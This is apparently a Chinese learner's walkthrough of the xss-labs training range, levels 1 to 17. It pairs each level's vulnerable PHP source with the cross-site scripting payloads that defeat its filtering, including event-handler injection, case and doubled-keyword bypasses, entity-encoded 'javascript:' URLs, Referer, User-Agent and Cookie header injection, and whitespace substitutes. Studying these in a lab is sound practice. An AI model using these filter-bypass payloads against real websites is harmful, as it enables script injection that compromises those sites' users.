xss-labs
这几天感受了一下数字中国和nkctf的题,基本上都还不会做,所以又回来刷靶场了
在DVWA中我们对xss已经有了一个认识,这里就直接开做吧
level-1
直接进入题目
在url 中发现注入点,我们尝试注入最简单的payload
<script>alert('xss')</script>
成功了,我们回头看看代码
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
可以发现通过GET方式赋值的变量name没有经过任何处理便传给$str,然后直接插入到h2中。
level-2
发现个变量test,尝试后没有弹窗,我们f12打开查看器看看
可以发现有两个注入点,我们直接利用第二个,在输入框输入、
"><script>alert('xss')</script>
PS:”>是为了闭合value值和input框
可以发现h2标签中的恶意代码被编码了。其中<>都被编码成了html字符实体
我们看看源代码
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<input name=keyword value="'.$str.'">
可以发现在显示处使用了htmlspccialchars()进行过滤,但是在input value中没有,所以我们可以注入xss语句
level-3
我们尝试使用上一题的payload,查看查看器,发现和第二题一样,但是没有弹窗
来看眼源代码
看到使用了htmlspecialchars方法,可以发现尖括号和双引号被转义为标签了
这时候我们的思路就尽量要绕开使用新标签,那么浏览器还有一些事件可以执行js代码,如onfocus,onblur,但是这两个是属于输入框在光标进入/离开时调用后面的js代码(可以用函数形式或者javascript:~~)
click事件
payload
'onclick='alert(1)
onmouseover事件:
构造事件onmouseover,事件成功执行javascript:伪协议;此时仍需进行闭合
payload:
'onmouseover='javascript:alert(1)
onfocus事件:
onfocus事件是javascript中在对象获得焦点时发生的事件,最简单的实例就是网页上的一个输入框,当使用鼠标点击该输入框时输入框被选中可以输入内容的时候就是该输入框获得焦点的时候,此时输入框就会触发onfocus事件.因此点击当前页面的输入框就可以完成弹框了。
payload:
'onfocus='javascript:alert(1)
经过尝试,javascript要不要都可以,搞的还不是很明白
补充一下htmlspecialchars()的转义规则
& (和号)成为 &
" (双引号)成为 "
' (单引号)成为 '
< (小于)成为 <
> (大于)成为 >
最后看看代码,两处都进行了过滤
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
level-4
查看源代码可以发现单引号变为双引号了,所以这题的解法和上题差不多,我们只需要将单引号改为双引号就好了
"onclick="alert(1)
level-5
发现<script>和on都被过滤了
此时我们发现并没有过滤尖括号;所以此时利用没有过滤尖括号,构造a标签再尝试利用a标签的href属性执行javascript:伪协议
注意这里需要进行闭合value的值
payload
"><a href='javascript:alert(1)'>//
"><a href='javascript:alert(1)'/>
"><a href='javascript:alert(1)'
点击最下面的payload弹窗进入下一题,尝试将javascript:删除,同样可以得到弹窗,但是无法进入下一关
查看源代码
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
服务器端先是将传递过来的参数值转换为全小写之后赋值给变量str,接着就是通过str_replace()函数来破坏变量值中的敏感字符的语义,过滤了script和on的关键字,最后通过htmlspecialchars()函数处理之后显示到网页上,直接将进行敏感字符处理之后的变量值插入到input标签的value属性值中。
level-6
这关直接尝试了最简单的payload,大小写绕过就成功了
payload
1"><ScRipt>alert(1)</ScRipt>
"><a HREF='javascript:alert(1)'>//
查看代码
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
可以发现过滤了很多东西,但是没有使用strtolower函数来将我们传递的参数值转换,所以可以使用大小写绕过
level-7
经典双写绕过
1"><ScscriptRipt>alert(1)</ScscriptRipt>
"><a hrhrefef='javascscriptript:alert(1)'>//"oonnclick="alert(1)
查看代码
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
与上题过滤了相同的东西,但是使用了strtolower函数,所以无法使用大小写绕过
level-8
做这题之前我们可以先了解一下href的隐藏属性
href在调用openurl传参时会自动进行解码
https://www.cnblogs.com/iyangyuan/p/3979957.html
我们按之前的方法无法绕过后,我们来查看网页源代码
可以注意到下面有个herf
HTML标签属性本身是支持ASCII码的,所以我们可以使用Unicode进行编码传输
unicode编码链接:https://www.sojson.com/unicode.html
这里没有闭合要绕过,所以直接传xss语句
payload
javascript:alert(1)
编码得到
javascript:alert(1)
查看源代码
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
小写转换和敏感字符的过滤,所以我们无法使用大小写过滤和双写过滤。
level-9
查看网页源代码,发现存在href属性,我们按照上题的方法得到一个错误链接
可以发现我们传的数值并没有传到href中,并且提示我们的链接不合法,那我们是不是可以填一个合法的
payload
JavaScript:alert(1);http;//www.baidu.com
还是不可以
再回想第八关的编码,我们编完码再添加一个合法链接
payload
javascript:alert(1)//http://www.baidu.com
要注意加一个//注释符,让浏览器可以理解
查看代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','"',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情链接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
echo '<center><BR><a href="您的链接不合法?有没有!">友情链接</a></center>';
}
else
{
echo '<center><BR><a href="'.$str7.'">友情链接</a></center>';
}
?>
第一次的过滤和Level8一致所以我们只能是利用unicode编码进行一个绕过;第二次的过滤使用了strpos()函数,他的作用是查找http://在str7第一次出现的位置,若没有找到则返回false。
level-10
直接用
’’ ’ >< script onclick
这个测试一下,看看过滤了什么
发现只过滤了” 和<>,但是发现了三个隐藏的input,那么根据他们的name构造传值,让它们的type改变,不再隐藏,谁出来了谁就能利用
t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>//
直接得到最后一个输入框
再次查看页面源代码,发现只有t_sort可以接受接受参数值;并且对t_sort的过滤只有尖括号;所以可以采用事件劫持进行绕过
payload
?keyword=1&t_sort=1" onclick="alert(1)" type="button">//
?keyword=1&t_sort=1" onclick="alert(1)" type="text">//
查看代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
此时发现str经过了htmlspecialchars进行了一个转义;且只有t_sort接受参数值;并且对t_sort的过滤只有尖括号;所以可以采用事件劫持进行绕过
level-11
老规矩
使用’’ ’ >< script onclick查看都过滤了啥
还是只过滤了双引号和尖括号,并且我们可以发现这次有四个隐藏的输入框了
看了好久都没有想法
找了个wp看看,发现需要查看原来的网页源代码
可以发现在第四个隐藏输入框中有一个网址,再仔细看了下,这不是第10关的网址吗?啊,懂了referer,那么就打开我亲爱的BP
构造payload
Referer:1" onclick="javascript:alert(1)" type="button" >//
查看代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
接收keyword进行htmlspecialchars处理并打在显示位上;接受t_sort参数进行htmlspecialchars处理再次赋给value,接受HTTP-Referer头部参数并进行除尖括号处理。
level-12
有了上题的教训,就先查看了网页源代码
ua,好熟悉,哈哈,再次开启我们的bp
把11关的payload摸来
payload
User-Agent:1" onclick="javascript:alert(1)" type="button" >//
User-Agent本来就有的,我们修改一下就好了
查看代码
<?php
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
和第11关一样,只是将referer改为了User-Agent
level-13
延续前两题的思想,我们还是直接查看网页源代码
cook?估计就是cookie了
构建payload
Cookie: user=1" onclick="javascript:alert(1)" type="button" >//
之前传参的时候,把user也删了,不知道为啥不可以,留住就可以了
查看源代码
<?php
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>".'<center>
<form id=search>
<input name="t_link" value="'.'" type="hidden">
<input name="t_history" value="'.'" type="hidden">
<input name="t_sort" value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook" value="'.$str33.'" type="hidden">
</form>
</center>';
?>
和前两题一样,代码不太一样,但是意思是一样的
level-14
这关我的靶场无法正常复现,所以查看了别人的博客,记录一下思路
这关主要涉及的漏洞是exif xss漏洞。exif是可交换图像文件格式(英语:Exchangeable image fileformat,官方简称Exif),
是专门为数码相机的照片设定的,可以记录数码照片的属性信息和拍摄数据。我们右键图片选择属性,点击详细信息就可以看到exif的相关属性。
我们可以在这些属性里面添加XSS代码,然后上传图片实现弹窗。因为iframe是内嵌对象,所以可以通过内嵌对象中的内容,通过XSS获取到相关信息。
当然可以使用乌云去查询漏洞;上传一个含有xss代码的图片触发xss。
例如这样的图片
level-15
查看网页源码
可以发现通过src传的参数到了ng-include中
ng-include
定义和用法
ng-include 指令用于包含外部的 HTML 文件。
包含的内容将作为指定元素的子节点。
ng-include 属性的值可以是一个表达式,返回一个文件名。
默认情况下,包含的文件需要包含在同一个域名下。
语法
< element ng-include= "filename" οnlοad= "expression" autoscroll= "expression" > < /element >
ng-include 指令作为元素使用:
< ng-include src= "filename" οnlοad= "expression" autoscroll= "expression" > < /ng-include >
所有的 HTML 元素都支持该指令。
参数值
包含外部的html文件?我们可以把第一关的网址试一下
?src=http://xss/level1.php?name=%3CScript%3Ealert(1)%3C/Script%3E
可以发现尖括号被过滤了
尖括号被屏蔽了,而且我们不能构造出onclick等时间,因为你点谁去啊?查看大佬的博客,提到构造个img,然后onerror方法,来尝试一下
payload
?src='http://xss/level1.php?name=<img src=asd onerror=alert(1)>'
说实话,后面的img有点没搞懂,百度一下//IMG标签不需要闭合
如果图片的src所指的路径路径不存在图片则弹出对话框显示1
这么说我改成其他的也是可以的
可以通过这个博客进行了解http://t.csdn.cn/xqaRj
查看代码
<?php
ini_set("display_errors", 0);
$str = $_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>
使用htmlspecialchars过滤了str。
level-16
查看源码没有发现特别的地方后
“ ‘ <> script onclick
看看他过滤了什么
过滤了script,空格
基础太差了,html没学好,现在一直边搜边做
我们使用%0a或%0d做空格来构造payload
<img%0Dsrc=1%0Dοnerrοr=alert(1)>
<img%0asrc=1%0aοnerrοr=alert(1)>
<iframe%0asrc=x%0dοnmοuseοver=alert`1`></iframe>
<a%0D%0Aonclick='alert(1)'>
查看代码
<?php
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script"," ",$str);
$str3=str_replace(" "," ",$str2);
$str4=str_replace("/"," ",$str3);
$str5=str_replace(" "," ",$str4);
echo "<center>".$str5."</center>";
?>
过滤了一堆东西,并且添加了center标签
level-17
这里直接查看了网页源代码
embed?查查
HTML5中新增的标签,可以在页面中嵌入任何类型的文档。用户的机器上必须已经安装了能够正确显示文档内容的程序,一般常用于在网页中插入多媒体格式可以是。rm .mid .wav等,IE、Firefox等最新浏览器都能支持。
<embed>用来定义嵌入的内容
需要提交两个参数,用a和b代替,参数还被转义
我们提交的两个参数的值出现在了<embed>标签的src属性值中
比如此处可以用onclick事件测试一下
onclick=alert(1)
没反应,试试onmouseover事件
arg01=a&arg02=b οnmοuseοver=alert(1)
还是没有反应
好像是因为我没下插件,回头用谷歌试试
源代码没啥好看的,就是多了embed标签。
